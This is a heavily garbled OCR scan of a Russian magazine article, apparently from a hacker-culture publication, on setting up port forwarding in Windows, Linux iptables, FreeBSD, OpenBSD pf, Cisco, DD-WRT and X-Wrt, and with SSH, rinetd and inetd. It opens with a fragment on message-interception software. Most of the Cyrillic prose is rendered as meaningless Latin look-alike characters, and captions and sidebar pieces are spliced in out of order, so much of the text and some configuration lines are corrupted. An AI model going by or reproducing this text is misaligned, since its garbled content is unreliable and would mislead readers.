B crirckax azipecoB MoAIepyKUBaETCs CUMBOJ ', 03HAYAIOIINIA TI06YTO0
IIOZICTPOKY, YTO BeCbMa YIIPOIIaeT UX HaroIHeHue. TakuM ke 06pa3om
610KMpYIOTCA GaiiyIbl ¢ ONlpeAeIeHHBIM paciIupeHUueM: IPOCTO 06aBIIA-
eM IipaBwIo — *.mp3, *.avi, *.mpgu T.A. 3

T
LanAgent NetworkFilter

Korpa Homep caBaJics B Ie4aTh, CTAJI0 U3BECTHO, YTO BMeC-

To SurfAnalyzer GyaeT mpoABHraThCs IPOrpaMma C Apyrum
umeHeM — LanAgent NetworkFilter, koTopyio Hafe/IAT TEMU

2Ke BO3MO>KHOCTAMMU: NepexBaTt cooomennii ICQ, MSN, mail.ru
areHTOB; IEPEXBAaT COOOIIEHUH /IeKTPOHHOM OYTHI; KOHTPOJIb
3arpy:kaembix ¢paiizioB. Kpome sToro o6asurcsa GyHKINA epe-
XBaTa IIHceM, OTIIPaBJIseMbIX Yepe3 Beo-uHrep@eiic. IpuHIuUN
HACTPOWKH 1 yCTAHOBKH OCTAaHETCH HEU3MEeHHBIM.
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NnopsAKn

NMPOBPACBIBAEMIMOPTbI B OKHAX, HUKCAX U KUCKAX

Y 3TOM TEXHONOTUU €CTb MHOXECTBO Ha3BaHWM — 3TO U TPpaHCTAUWNA NMOPT-

afpeca, n npobpoc NopToB, 1 NepeHanpasneHune, n bypxxynckme nopT-pop-

BapanHr/nopT-mannuxr, n cokpatierHblie DNAT/PAT. Ho kak bbl oHa HK

Ha3blBaJlaCb, O €€ MNOJIE3HOCTN CMTOPUTb HE NMTPUXOOANTCH. |_|pO6pOC MnopToOB —

MpPocCTo cracaTeflbHbIN KPpyr A4 1eX, KTO XO4EeT NoKa3dTb CBOW cepBep n3-3a

BbICOKOW W KPEMnKoW CTeHbl Nog Ha3BaHmneM NAT.

HeznocTraTok ceTeBBIX apecoB cTaHAapTa [IPv4 ocTaBu cBOi OTIeYaTok Ha
TOIOJIOTY COBPEMEHHBIX ceTeldl. Bestble aZipeca CIUIIKOM I0POTH, YTOOBI
HaJeJIATh UMU BCEX, KOT'0 II0I1aJI0, TO3TOMY IIPOCTBIM CMEPTHBIM ITPUXO-
JIUTCSA IOTUTBCSA B HEGOJIBIINX YaCTHBIX IIO/ICETSX, A B MHTEPHET BBIXOAUTh
4yepes ofuH o6IIHii cepBep, Ha KoTopoM HacTpoeH NAT. Biarozaps Takoit
cxeMe I10JIb30BaTe ! 11eJI0H I0Z[ce T MOT'y T UCIIOIb30BaTh OZVH BHEIITHUH
IP-azpec, a 061mas nHPpacTPyKTypa MHTEPHETA IIPOJ0JDKAET XKUTh, AaKe
HeCMOTPs Ha 04eBUHYIO HexBaTKy IP-azpecoB. Ho 4To eciv pedb UeT He O
KJIMeHTax IpoBaizepa, cuaamyx 3a NAT' oM, a 0 ToKaIbHOM ceTH He60Ib-
II0¥i KOMITAaHWH, MHOTHE MAIINHbI KOTOPOH I0JDKHBI UTPATh POJIb HE TOJIBKO
KJINEHTOB, HO U cepBepoB. Hanpumep, Ha OHOM 13 MaIllH MOXKEeT HAXOAUTh-
csaBeb-cepBep, a apyras JopkHa o6cmyxuBaTb SMTP- 1 FTP-KIMeHTOB, HO
BBIZIEJIATD KOKI0U 13 HUX GeJtblii [P-aipec — KaK-To y»K CIUIIKOM PACTOYH-
TeJIbHO. BOT 37leck HaM Ha moMo1ub U npuxoauT DNAT iy, no-npocromy —
po6poc opToB. C MOMOLIBIO 3TOH TEXHOJIOTHH MOYKHO CZIe/IaTh TaK, YTOOBI
BXOZAILIMI Ha IUTI03 TPAdUK IepeHaIPaBIICA K OAHOM 13 BHYTPEHHUX
MAIIIVMH CETH Ha OCHOBE [TOPTa Ha3Ha4YeHsA. [[pyriuMy cIoBaMH, Tpo6poc
IIOPTOB II03BOJIAIET BLICTABUTD BO BHEIIHUI MUP CEPBUCHI IOKATBHBIX pecyp-
COB U CO3/jaTh WJLTHO3UIO TOT'0, YTO OHU HAXOAATCA Ha 1IUTI03€.

NEPELA TEM, KAKHAYATb

DTa cTaThsl pacCKa3bIBaeT O HACTPOIKeE IIPo6pOca MOPTOB B CAMBIX Pa3-
HBIX ONlEPAIIMOHHBIX CUCTeMax, HaunHas ¢ Windows u 3akan4unBas OC,
yCTaHOBJIEHHBIMU Ha CETEBOM 060pyZ0BaHUU. B 6OIBITUHCTBE CIydaeB
JUUIS peayiu3aliuy mpobpoca MopTOB UCTIONb3YIOTCS ClIeI[AaNbHbIE TPABU-
J1a 6paHaMayapa, 1 3ech 51 JOJDKEH CleaTh TepBOe IPeZoCTEPEKEHUE.
Jleso B ToM, 4TO 110601 6paHgMaysp BEIIOIHSET TPAHCIALUIO CETEBBIX
azpecoB 10 UX QUIBTPALIUN, TOITOMY OITMCAHHBIE B CTAThe IIPABUIA
JIOJDKHBI HAXOZAUTHCA B Hayase. Bropoe: 114 yeremrHoro mpoxoxXAeHUs
OTTPAHCIUPOBAHHBIX TAKETOB ZO/KHBI OBITH 106aBIEHBI TPABUIIA, pa3-
pelarolye BXO;IIYe TOAKIIOUeHY Ha LIeJIeBOH MTOPT LILTI03a, a TAKXKE
IpaBuJja, pa3peuarinre o6MeH JaHHBIMU MeXy BHYTPEHHEH 11eJ1eBOi
MaIIWHOM U IILTFO30M.

WINDOWS

HaureM, Kak TOBOPUTCS, € a30B. [Ipoiiie Bcero mpobpoc OPTOB HACTPOUTH
B OIepaIMOHHBIX chcTeMax cemericTBa Windows. 371ech Bce 9TO ZieTaeTcs B
«CBoiicTBax NAT»:

1. 3axoauM B «AZIMUHUCTPUPOBAHUE - > MapIpyTHU3alys», BBIOUpaem
JIOKaJIbHYIO MallliHY, anee «[P-Mapuipytusanus - > NAT».

2. Bxmouaem NAT z1s1 TokasibHOTO UHTepdetica.

3. ITlepexoauM K BKIaziKe «CIry»KObI 1 IOPThI», BBIOMPaeM HHTEPECYIOLIYIO
Hac CTyK0y WX 06aBJIsIEM CBOIO.

4. B OTKPBIBIIIEMCST OKHE BEIGHPAEM ITPOTOKOJ, BXOZSIIUH IOPT (TOT, KOTO-
PBIi OyZeT BUZeH U3BHe), a[ipec MalllHbI BHyTPEHHEH CETH U ee TTOPT.

LINUX

B Linux Bce HAMHOTO CJIOXKHEe, 3/1eCh HE0OXOAUMO OIIePUPOBATH TPABIIAMU
iptables/netfilter, 6e3 3HaHIsI OCHOB KOTOPOTO ITPOCTO He 060UTHCh. [1st
oCylIIeCcTBIeHHs IIPo6poca MOPTOB peAycMoTpeHa 1iesib DNAT, KoTopyto
HeobXO/IMIMO UCITOIb30BaTh B paBiax ernouky PREROUTING. B camom
TIPOCTEHIIEM CTy4dae IPaBuIO OyieT BHIIVIAAETD CIEAYIONIM 06pa3oM:

iptables -t nat -A PREROUTING -p tcp --dst SGATE \
--dport SPORT -j DNAT --to-destination $SSERVER:SPORT

I'ne $GATE —>sTo agpecuto3a, $PORT — npobpackiBaeMblii ITOPT, a CBA3KA
$SERVER:$PORT — 3To azipec v TOPT BHYTPEHHETO cepBepa. EcTecTBeHHO,
YTOOBI IPABUJIO CPabOTAIIO, JOJIKEH OBITh BKIIOYEH GpOPBapAYHT (XOTA Ha
IITIO3€ OH B JIFO60M CITydae BKJIIOYeH)

# echo 1 > /proc/sys/net/ipvd/ip_forward
[1po6poc IOPTOB BO3MOXKEH U C IPYTOM MAIITIHBL:

SIPTABLES -t nat -A PREROUTING -p tcp --dst SIP \
--dport SPORT -j DNAT --to-destination $SSERVER:SPORT

SIPTABLES -t nat -I POSTROUTING -p tcp --dst SSERVER \
--dport SPORT -j SNAT --to $SIP

DTO BIIOJIHE JIETAILHO, @ MTHOTZA U TIPOCTO HEOOXOAUMO.

PasnuaHble TpeKOHGUTypUPOBaHHEIE iptables-CKpUIITEL, TaKue KakK,
HaIpuMep, 3HaKOMBbI# Tojb3oBartessiM Debian, arno-iptables-firewall,
TaK)Ke MOYKHO HCIIO/Ib30BaTh /151 60JIee pOCTOM HACTPOUKHU ITpobpoca
TopTOB. Hammpumep, ecitu ThI X04elib Tpo6pocuTh mopT 80 Ha MaIIUHY
192.168.0.100, Ay1s1 3TOTO OCTATOUHO 06aBUTE CTpoKy NAT_TCP_
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FORWARD="80>192.168.0.100" B daiin /etc/arno-iptables-firewall /
firewall.conf u mepe3arpysuts 6paHzMaysp:

$ sudo /etc/init.d/arno-iptables-firewall restart

FREEBSD

FreeBSD oTinyaeTcs TeM, YTO UMeeT [iBe He3aBHUCHMBIe pealu3aliiy Mexa-
uuaMa NAT (a 3HauuT, ¥ TEXHOIOTHH Ppobpoca MopToB). [lepBas HOCUT UM
natd 1, KaK MO)XHO ZJOTa/jaThCsl 13 Ha3BaHUs, [IPe/CTaBIIIET COBOI 1eMOH
YPOBHSA II0JIb30BaTeIA, KOTOPBIM IIPHHUMAET «ChIPbIe» ITAKETHI, BEIIOIHACT
HeobXoAKMBbIe IPeobpa3oBaHus a/[PECOB U OTAAET UX 06paTHO sApy. Bropyto
IpUHATO Ha3bBaTh kernel nat, To ects Mexanusm NAT, peaii30BaHHBII B
sape FreeBSD. OH T03BOJISIET BBIIOJIHATH IIPe0Opa3oBaHuUe aJpecoB U IIPO-
6pocC MOPTOB, UCIIOJIB3YsI TpaBwIa 6paHaMayapa ipfw.

SIcHO, 9TO BTOpAs peann3alyis IPOU3BOAUTEIIbHEE U YZI0OHEe B CII0Jb-
30BaHUU, ¥ TIO3TOMY IpeAinouTuTensHee. OgHaxo kernel nat mossuica

Bo FreeBSD He Tak JaBHO, [I03TOMY MbI PACCMOTPHM 00a I1071X0/ia Ha TOT
CITy4aii, eciv B TBOEM PacIl OpAKeHNH OKa3asach MallliHa, MCIOIb3yIoIasg
yCTapeBIIyI0 BePCHIO 3TOM OIlepalluOHHOM ccTeMbl. VITak, MeToJ HoMep
onuH: natd, divert u Bce-Bce-Bce. /I aktuBaruu NAT v mpo6poca IOpToB ¢
HOMOII[BIO ZIeMOHa Natd HeOBXOAMMO [TPOAENATh CIeAyIONIe IIar:

1. Brutrounthb natd u ipfw B /ete/re.conf:

# vi/etc/rc.conf

# BriodaeMm natd

natd_enable="YES"

# r10 — BHYTpPEeHHUN MHTepderC IImo3a
natd_interface="r10"
natd_flags="-f /etc/natd.conf"

# BriuodaeMm ipfw
firewall_enable="YES"

firewall type="/etc/ipfw.conf"

2.HactpouTts NAT 1 ipo6poc mopToB B /etc/natd.conf:

#vi/etc/natd.conf

same_ports yes

use_sockets yes

# IIpoBPOC TTOPTOB :

# IIPOTOKOJ ampec-cepBepa-BHY TPY-CEeTN : IOPT [IOPT-Ha-1IJI03e
redirect_port tcp 192.168.0.100:80 80

3. YToObI BCe TTAKETHI, TPOXO/SAIIYE Yepe3 BHeITHUH nHTepdetic (rl1) mutosa,
TepeHanpasIUCh B natd 1 o6pabaTbiBamuch UM, Z06aBUM IpaBwio divert
B /etc/ipfw.conf:

ipfw add divert natd ip from any to any in via rll
Taxoke paspenrM obIeHUe BCEX C BHYTPEHHUM CEPBEPOM:

ipfw allow tcp from any to 192.168.0.100 \
dst-port 80 in via rl0 setup

Jlaiee MOXKHO 06aBUTB [TpaBIIa GUIBTPALIIN.

MeToz HoMeD ABa: AzepHbId NAT. AktruBauus NAT ¢ TOMOIIbIO peatu-
3al[Uy BHYTPU Zipa He TpebyeT HU4Yero, KpoMe MpaBUIbHOM HACTPOMKY
6pangMayaspa c TOMOLIBIO ABYX-Tpex mpaBuil. He Oyzy pacnuceiBaTh Bce
B IeTaJIsAX, 4 IPOCTO NIPUBEAY IIPOCTON IIPUMeD, ZeMOHCTPHUPYIOUIUH yKe
obcyxJaBLIMiics Bile po6poc 80-ro mopTa co IUII03a Ha BHYTPEHHUH
cepBep:

# vi/etc/ipfw.conf
# HacTpamBaeMm NAT
nat 1 config log if rll reset same_ports \
redirect_port tcp 192.168.0.100:80 80
# 3aBopaumBaeM BeChb Tpaduk depe3 BHemHMN mHTepderic B NAT

add nat 1 ip from any to any via rll

ITpaBria nat' IMeIOT HECKOJIBKO OIILIH, GOJIBIIMHCTBO U3 KOTOPHIX COB-
TaZiaeT ¢ ONIMAMM, HCIIONb3yeMbIMU ZeMoHoM natd. Hanprmep, ormya
same_ports mpenuceiBaeT MexanusmMy NAT coXpaHATh OpUTrMHA/IbHbIE
HOMepa UCXOJAIIYX TOPTOB /I UCXOJAIIMX TAaKeTOB (HY>KHO A TPaBUIb-
HO¥ paboThl HeKoTOpEIX RPC-1ipoTokos1oB). OmmuA rdirect_port umeeT TOT
JKe CHHTaKCHUC, UTo U B daitie /etc/natd.conf.
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HactpanBaeMmnpo6pocnoptos B DD-Wrt

OPENBSD

HaBepHoe, caMblii IOTUYHBIN ¥ IPOCTOM B HACTPOUKE IPOOGPOC IOPTOB
nony4daerca B OC OpenBSD. 3aecy Mexanusm NAT TaxKe peajv30BaH B
A/pe M HaCTpauBaeTCs C HOMOLIBIO IITATHOTO pf, CHHTaKCHC KOTOPOTO KyZa
sICHee M TpoZiyMaHHee CMHTaKcuca ipfw u, y»x TeM 6ortee, iptables. Bece ToT ke
npo6poc 80-ro ropTa Ha sibIke pf OyzieT BEIVIAAETD CIeAyIOINM 06pasoM:

#vi/etc/pf.conf
# HactpauBaeM NAT
nat on rll from 192.168.10.0/24 to any -> Sout_ip
# HacTpamuBaeM IIpobpoc IIOPTOB
rdr on rll inet proto { tcp, udp } from any \
to sout_ip port 80 -> 192.168.0.100

Kax unpexse, rl1 — BHenrHui nHTepdetic nmmosa, 192.168.0.100 —azpec
BHYTPEHHET0 cepBepa, a out_ip — azipec BHeIIHero HHTepdelica IUT03a.
[Tpu 3TOM, ey IPo6POC AOIKEH ObITh CZielaH Ha OPT, OTIMYHBIH 0T 80-T0,
JIOCTATOYHO IIPOCTO 06ABUTD KJIFOUEBOE CJIOBO «POT t» M YUCIOBOE 3HAYEHHE
B KOHeI] IIepBOTO ITpaByJIa.

PaspeliiaeTcs UCIIOIb30BaHUE AUATIA30HOB IIOPTOB, €C/IN, KOHEYHO JKe, OHO
MOXET UIMETb KaKOH-TO CMBICII:

rdr on rll inet proto { tcp, udp } from any \
to Sout_ip port 5000:10000 -> 192.168.0.100

[Tpum. pez.: HampriMep, ¢ HOMOIIBIO 3TOM GprUH yA06GHO pa3pelaTh IPOXOK-
ZeHue Tpaduka bittorrent:

rdr on $Sext_if inet proto tcp from any to Sext_if \
port 6881:6889 -> Smyhost port 6881:6889

pass in quick on Sext_if inet proto tcp from any \
to $Smyhost port 6880 >< 6890 keep state

Kax 1 B IpyT¥X pacCMOTPEHHBIX paHee GpaHAMayapax, IPUHATHE PEIIeHNT
0 asbHelIIe CyibOe TaKeTOB BO3/IaraeTcs Ha [IpaBiia GribTpariiy, 4epes
KOTOpBI€ ITaKeT GyAeT IIPOIyILeH yxKe IIocIe TepeHanpasienus. Ho ecTs
OZIHO MaJIEHbKOE UCKJTIOUEHNE: HCIIONb3YS KIIFOUEBOE CIIOBO «Pass» COBMECT-

ABTOMaTH4YECKNU
IIpPOOPOCIIOPTOB

Universal Plug and Play (UPnP) — TeXHOJIOT U, TIPU3BaHHAA
YIPOCTUTH 1 aBTOMAaTH3HUPOBATH IIPOLEeCcC O0IIeHN CETEeBHIX yC-
TPOICTB U IPWIOKEHUI MexKAy co0oii. IlogaepkuBaeTca HOITH
JII0GBIM COBpEMEHHBIM CETEBHIM 000pyA0BaHHUEM, BKIIOYAET B
ce0s1 MeEXaHU3M aBTOMaTU4Y€CKOro IPoGpoca MOPTOB B cIy4yae
HeoOxoauMocTH. TOT ke MeXaHU3M peaJin30BaH BO MHOTHX daii-
JI00OMEHHBIX MporpaMmMax.

LA

MAINTENANCE STATUS

aption alaws you to defing a sngle publc port on your routes for |
redinection to an intenal LAN IP Address and Private LAN port f required. This feature i useful
for hosting orline sevices such a5 FTP or Wb Servers.

Mpo6pocnopToB B NoNyJIspHOM JOMaLLHEM poyTepe
D-Link DIR-300

HO CIIPaBWJIOM I'dr MOYKHO ZIOGUTBCS TaKOT'0 ITIOBEICHUSA CCTEMBI, KOTza
TIaKeThI GyZlyT OTITYCKaThCsA BO BHELIIHUE MUP, MUHY IIpaBria GUIBTPALN
(cM. ckpuHIIOT «POpBapAM BXOAALIYE 3aIIPOCHI HA CePBEP TePMUHAIOB U
SQL-cepBep»). DTa 0COOEHHOCTb MOXET ObITh UCIIOIb30BaHA I OTIIAZKU
TIpaBUJL.

Byzap BHUMarteseH, B OpenBSD 4.7 cuHTakcuc KOHGUIa HECKOTBKO
U3MEeHUJICA:

pass out on rll from 192.168.0.0/24 to any \
nat-to Sout_ip

pass in on rll proto tcp from any to any \
port 80 rdr-to 192.168.0.100

CIsco

C Moeii CTOPOHEI GBUIO GBI KOIYHCTBOM HE PaccKa3aThb PO HACTPOUKY
po6poca MOPTOB C HOMOII[BIO CETEBOT0 060PyA0BaHNA HeOe3bI3BECTHOM
xommnanuu Cisco. Baro, 37ieck Bee pelraeTcs 0Z[HOM IPOCTO¥ CTPOKOH,
KOTOpasi, TeM He MeHee, OyzieT pa3HO¥ 711 pa3/INYHbIX TUIIOB YCTPOICTB.
Harmpumep, npo6poc noptos B Cisco PIX (Private Internet Exchange) mmu
ASA (Adaptive Security Appliance) ocyIiecTBIIsI€TCS C TOMOIIBIO CIEAYIOLIei
CTPOKY KOHQUTYpaLUu:

static (inside,outside) tcp 1.2.3.4 www \
192.168.0.100 www netmask 255.255.255.255

B T0 ke BpeMs 71 060pyI0BaHNsA, pabOTAIOIero Ha OIlepaIiiOHHOM CUCTe-
Me Cisco I0S, cTpoka 6yzeT BEIIAAETH TaK:

ip nat inside source static tcp 192.168.0.100 80 \
1.2.3.4 80

O6e OHU He [ieTal0T HU4ero kpoMme mpobpoca mopra 80 Ha cepBep
192.168.0.100 auis1 kitmenTa c agpecoM 1.2.3.4. [Tpy 9TOM eciii He06X0AUMO
HaCTPOUTH IIPOOPOC BCEX TOPTOB, J0CTATOYHO IIPOCTO OMYCTUTh HOMepa,/
VIMeHa IOPTOB B CTPOKE KOHUTYPAIIHH.

OPENWRT UDD-WRT

KoneuHo ke, KpoMe 060pyz0BaHNA UMeHNTO#H Cisco Ha PhIHKE CyIIeCTBYIOT
K TOpaszo MeHee 0POrocTosALINe pellleHHs BPO/ie Pa3HOro pojia IOMAaIIHAX
POYTEpOB 1 TOYEK ZOCTYTIA. BOJIBIION MOMY/IAPHOCTBIO CPEAIN HUX ITOJTb3YIOT-
A ynIbTpa-610PKEeTHBIE CeTeBbIe YCTPONCTBA TAKMX KOMITAaHUH, Kak D-Link,
ASUS, Linksys u aipyrux. Ha MHOTHX M3 HUX MOJKHO YCTaHOBUTb CBOOO/IHBIE
u 6oJee IpOABUHYTHIE IPOIIMBKY Bpoze OpenWrt, X-Wrt u DD-wrt, KoTopble
OTIMYaI0TCsA 60JIee Pa3BUTOM CUCTEMOW HACTPOMKY M XOPOIIM KOMBIOHH-
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# NAT
nat on $extif

# HTTP, HTTPS

rdr on $extif proto tcp from any
rdr on $extif proto tcp from any
# SSH

rdr on $extif proto tcp from any
# Torrent

rdr on $extif
OpenBSD, pf u NAT

proto tcp from any

®opBapanM BxoasLLMe 3aNpoChl HA cepBep TepMUHa-
nosuSQL-cepBep

TH. EcTeCTBEeHHO, TPO6POC TOPTOB JIETKO BBIIOIHUTD U C UX IOMOLIIBIO.

B DD-Wrt mpo6poc HOPTOB OCYIIECTBIISETCS C IOMOIBIO IOKATM30BAaHHOTO
BeG-uHTepdeiica. YTo6bI HACTPOUTD ITPOGPOC 110 OIMCAHHOH BHIIIIE CXEME,
JIOCTAaTOYHO OTKPHITh BeG-nHTepdeiic poyTrepa (192.168.1.1), mepeiiti Ha
BrIagKy «NAT/Q0S», nanee — BK1azka «[lepeHarnpasieHre NopTos». Te-
TIepb B noJie «[ [prioykeHre» MUIIeM jitoboe yA06Hoe 711 Hac UM, HallpruMep,
«WWW>», «[IOpT-UCTOYHUK» — BHELTHUH TOPT poyTepa, «[ [poTokos» — TCP
i UDP, «IP-azspec» — azipec BHyTPEHHETO cepBepa, «[ [opT-IpUeMHUK» —
ero nopt. Jlasiee BBIOMpaeM raJodky «BKIIOUUTh», )KMeM KHOIIKY «/lo6a-
BUTB», IOTOM — KHOIKY «[ IpUMEHUTE».

DTO AEHCTBUTEIBHO IPOCTOM ITyTh, KOTOPBIH. .. HE CPabOTaeT A1 OOJBIIIHC-
TBa POCCUMCKUX IIPOBaliZiepoB, IpeI0CTAB/IAIOMINX KaK JOCTYII KJIOKaIbHOM
ceTH (TIpAMOI), TaK U IOCTYH K ceTU uHTepHeT (uepe3 VPN /PPTP). Jleno B
TOM, YTO ZI006aBJIEHHOE TAKUM 06pa3oM IIPaBHIO OyeT TPUMEHEHO K BHEII-
HeMy ¢usmdeckoMy uHTepdelicy, Torga kak uHTepdetic ppp0, Ucomb3ye-
MBIH 17151 BbIXOZ1a B UHTEpHeT yepe3 VPN /PPTP, ocTaHeTcs He IIpH JieJiax.

/Jl14 pertieHYs Tpo6JIeMBI MOKHO BOCIIO/Ib30BaThCA IPSMBIM BMelIaTebC-
TBOM B Hezipa DD-Wrt. OTKpbIBaeM BKIaZKy «Tex.00CIyKuBaHue», fajiee —
«KomaHzib1» M HabrpaeM cTaHAapTHEIe TpaBiia iptables:

iptables -t nat -A PREROUTING -p tcp -i ppp0 \
--dport 80 -j DNAT --to 192.168.0.100:80

HaxxumaeM «Coxp. 6paHamaysp» U niepesarpyxaemcs. HeHamHoro TpysHee
BBITIOJTHUTB 3Ty OIlepalUio C TOMOIIIBIO0 Beb-uHTepdetica mpoumsok X-Wrt,
IIpe/ICTaBIIAIOMINX COOOM, IO CyTH, bortee 103abebHbI BapuaHT OpenWrt.
JKmewm Ha «Network», 3aTtem «Firewall», Bbi6rpaem B MeH!Io «New Rule» myHKT
«Forward» n HaxxumaeM «Add». 3anmceiBaeM B rose «Forward To» IP-aapec
BHYTPEHHETO0 cepBepa, B 110J1e «Port» IoMeIaeM HoMep IIpoGpackIBaeMoro
nopra. B BeITagaronieM MeH:o BeIOMpaeM MyHKT «Protocol» 1 HaxxrMaeM
«Add», B mosiBuBIIEMCsT MeHIO BeIOupaeM mpotokoi: TCP wiu UDP. Ecsin ropr,

from $intif:network to any -> ($extif)

80 -> $halo
443 -> $halo

to any port
to any port

to any port 22 -> $

to any port $torrent -> $second

OTKPBITHI Ha IIUTI03€, J0/DKEH OTINYAThCA OT [TOPTa BHYTPEHHETO CepBepa,
BBIOMIpaeM B BbINaZjaroieM MeHro yHKT «Destination Ports», moy4aem ogHo-
VMIMeHHOe T10JIe ¥ BBOZIUM B Hero HoMep ropra. Ha)xumaeM KHOIIKy «Save.
Toro ke 3¢ dpexTa MOKHO JOCTUYb, OTPEAAKTHPOBAB KOHGUTYPALFIOHHBII
¢atiin /etc/config/firewall cegyromym obpasom:

forward:proto=tcp dport=80:192.168.0.100:80

APYrUMEnoAXxoAabl

Jls1 ocyiecTBIeHNA Ipo6poca opTa CoBceM Heo0A3aTeIbHO UCIIOIb30BaTh
GpaHzIMay3pbl IV CICTEMHBbIE ZIEMOHBI, KaK, HAIPUMep, STOT0 TPeOyIoT
crapsle Bepcuu FreeBSD. CylecTByeT HECKOIBKO IPYTHX CIIOCOOO0B cAeaTh
3TO C IIOMOIIIBIO CHEIHATN3NPOBAHHOTO COPTA WM CTAHAAPTHBIX MHCTPY-
MeHTOB OC (KTO 3HaeT, BO3MOXKHO, ThI MCITOJIb3yelnb Minix B kauecTBe OC
JUTA IUTR03a 1)) . OZIH U3 TaKUX MHCTPYMeHTOB — SSH. JlaieKo He KaK /bl
CHUCTEMHBIN aZIMUHUCTPATOP B KypPCe, 9TO ITPOOGPOC TOPTa ABJIAETCS CTaH-
ZapTHOM QyHKIMel 3TOU TporpaMMbl. Bo3bMeM, K IpUMepY, CIeAYIOLIYI0
cUTYyanuo. B 1okaJbHOM ceTH, 3aKpEITON OT BHelHel cetyt NAT' oM, ecTh
cepBep, K KOTOPOMY Te6e He0GXOAUMO UMETh A0CTYIL. CUTyaIHA yeyry6-
JISIETCS TEM, YTO ThI HE UMeelllb IIPUBIJIETHH 151 HacTpOUKY dariepBosa Ha
MalllHe-1IUTIo3e. 3aTo y Tebs ecThb ZocTyn kK SSH-cepBepy, paboTaromemy

Ha sTOM LuTo3e. Kak aTo MoxkeT moMoub? Ha caMoM fiesie o4eHb CUIBHO. Tl
TIPOCTO BBITIOIHAEID CIeZYIOIIYI0 KOMaHy Ha yZla/leHHOU MallliHe (server-
ip— aZpec BHyTPEeHHETo cepBepa, gateway-ip — aZipec IIUIr03a) :

S ssh -L 8080:<server-ip>:80 user@<gateway-ip>

W Byassa, mopT 8080 0kaIbHOM MaIIWHBL CTAHOBUTCSA HOPTOM 80 BHYTpeH-
Hero cepBepaJIoKalky. Termepb J0CTaTOYHO HAbpaTh B Beb-6paysepe agpec
localhost:8080, 1 ThI HOIIAZENTH TYAQ, Kyza Hazo. TBo¥ SSH-KIIHEHT co3zacT
TyHHeJIb ¢ SSH-cepBepoM IIUTI03a, BCe ITepeiaBaeMble B pAMKax KOTOPOT'O
JlaHHBIe Oy/yT HarpaBseHbl Ha TopT 80 BHYTPEHHETO cepBepa.

Boitee pagukambHbIHM CIT0CO6 — yeTaHOBKA cOdTa, CIIENUATbHO CO3JaHHOTO
UL OCYIIeCTBIEHUs Tpobpoca mopToB. OHA U3 TAKUX IIPOTPAMM HOCHUT
M rinetd ¥ IpeZicTaBIsgeT cO60# BEICOKOIIPOU3BOAUTETBHBII CEPBED,
TIO3BOJIAIOIINH ITPOOPACEIBATE JIF0O0€E KOMUIeCTBO coefuHeHU . OH ecTh
BIIaKeTax /s ITOMY/IIPHBIX LinuxX-AucTpubyTHBOB U rtopTax BSD-cucTtem.
[Tocste ero ycTaHOBKH JOCTATOYHO OTPeAaKTUPOBaTh Gaiin /etc/rinetd.conf
(/usr/local/etc/rinetd.conf), MTOMeCTUB Tyzia CTPOKH CJIEAYIOIIETO BUAA:

1.2.3.480192.168.0.100 80
U (1iepe)3arycTuTh cepBep KOMaHZOM:
$ sudo /etc/init.d/rinetd restart

B Ubuntu wiu:
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Protocol: tcp
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192,168:1.12 22

New Rule: [Fowerd 5]

Mpo6pocnopTtos B X-Wrt

# /usr/local/etc/rc.d/rinetd start

BO FreeBSD. Tak »xe Bo FreeBSD npuzercs akTHBUPOBATB 3aItycK rinetd mpu
cTapTe:

# echo "rinetd_enable="YES"" >> /etc/rc.conf

[Mocste aTOrO Bech Tpaduk, mpute it Ha mopt 80 mamnmvust 1.2.3.4, 6yzer
aBTOMAaTHYECKY [TepeHarpaBiieH Ha TOT JKe IIOPT MalluHEI ¢ IP-azipecom
192.168.0.100.

OpuH 13 U3 6JIEHHBIX CII0co60B pobpoca nopTtos cpeaut UNIX-aamu-
HHCTPATOPOB 3aKJII0YAETCS B UCIIOIb30BAHUHY YTHINTEI Socket COBMECTHO C
ceTeBbIM cyTiep-cepBepoM inetd. Kax 1 Bce reHHAaIbHOE, U/iest B ITOM CIydae
TpoCTa, a peayusaius oueBugHa. OTKphiBaeM daiin /etc/inetd.conf (qaxke

UDP-T
ABYMS

Yrunura pwnat (http:
KOJIN4eCTBY KJINEHTOB, HaXoasaIuxcs 3a ogHuM NAT-cepBepomMm,
COeIUHATHCA C CEPBEPOM, KOTOPHIii cTouT 3a ipyrum NAT, npu-
yeM HUKaKO¥i MPOOPOCKH IOPTOB HA cepBepax He MoTpedyeTes.
KJIMeHT MOXKeT NOAKIIOYAThCA Yepe3 TAKOi cepBep KJII00bIM pe-
cypcaM, TU60 TOJIBKO K TeM, YTO OTPaHH4Y€eHEI cepBepoM pwnat.

HeJIb MEeX/Iy
AT

samy.pl/pwnat/) No3BoJsIeT TI000My

BoT Tak MOXKHO O0ecneYuTh KIMEHTCKOMY XOCTY 192.168.0.2
noiaydenue HighID na 11060m eDonkey-cepBepe:

# vi /etc/pf.conf

rdr pass on $ext_if inet proto tcp from any \
to any port 4661 -> 192.168.0.2

rdr pass on Sext_if inet proto tcp from any \
to any port 4662 -> 192.168.0.2

rdr pass on Sext_if inet proto udp from any \
to any port 4665 -> 192.168.0.2

rdr pass on $ext_if inet proto udp from any \
to any port 4672 -> 192.168.0.2

| VPH st ILITPAPSEL - sanase na ddveuces oo T8 pecoR.
| VPY-sana PRTPY Urecms coptes
o —
=
m———
&l
wow.ow. 2
B
. |E B9/ 8 1735

—— e —————

Mpo6pocnoptoBBWindows 2003 Server

€CJIM B TBOEH CUCTEME UCII0Ib3yeTcs 6osiee HOBBIH Xinetd, ThI Bce paBHO
MOJKEIIIb UCII0IB30BATh 3TOT (aiin) 1 1o6aBisieM B HETO CTPOKY ClIe/yIole-
ro BUja:

mopTl stream tcp nowait root /usr/local/bin/socket
socket 192.168.0.100 nmopT2

3zech MopT1 — 3TO IPOCIIyIIMBaeMbIi ITIOPT Ha MaIIHe-IIUTI03€e, a IOPT2 —
[IOPT Ha3Ha4YeHVs Ha BHyTpeHHeH MamnHe 192.168.0.100. [Tpuatom 06a
OHM JOKHBI OBITH 3a/1aHbI B GopMe uMeHuU CyK6b1 (Www, ftp u T.41.), ecitu
’Ke TAKOBOW He MMeeTcs (ThI BEIOpasl IPOM3BOJIBHBIHN [IOPT), TO ee HeoOX0AH-
Mo j06aBUTH B dailn /etc/services.

Jlanee MoxHO repe3arpy3uts inetd komanzoi «kill -HUP» u HaciaxaaThes
pesynsraToM. Ectu ke ero HeT, To cMoTpuM B daiin /etc/hosts.allow. locTy
K CIIy?K0e€ ZI0JDKEH ObITh OTKPBIT.

BbIBOAbI

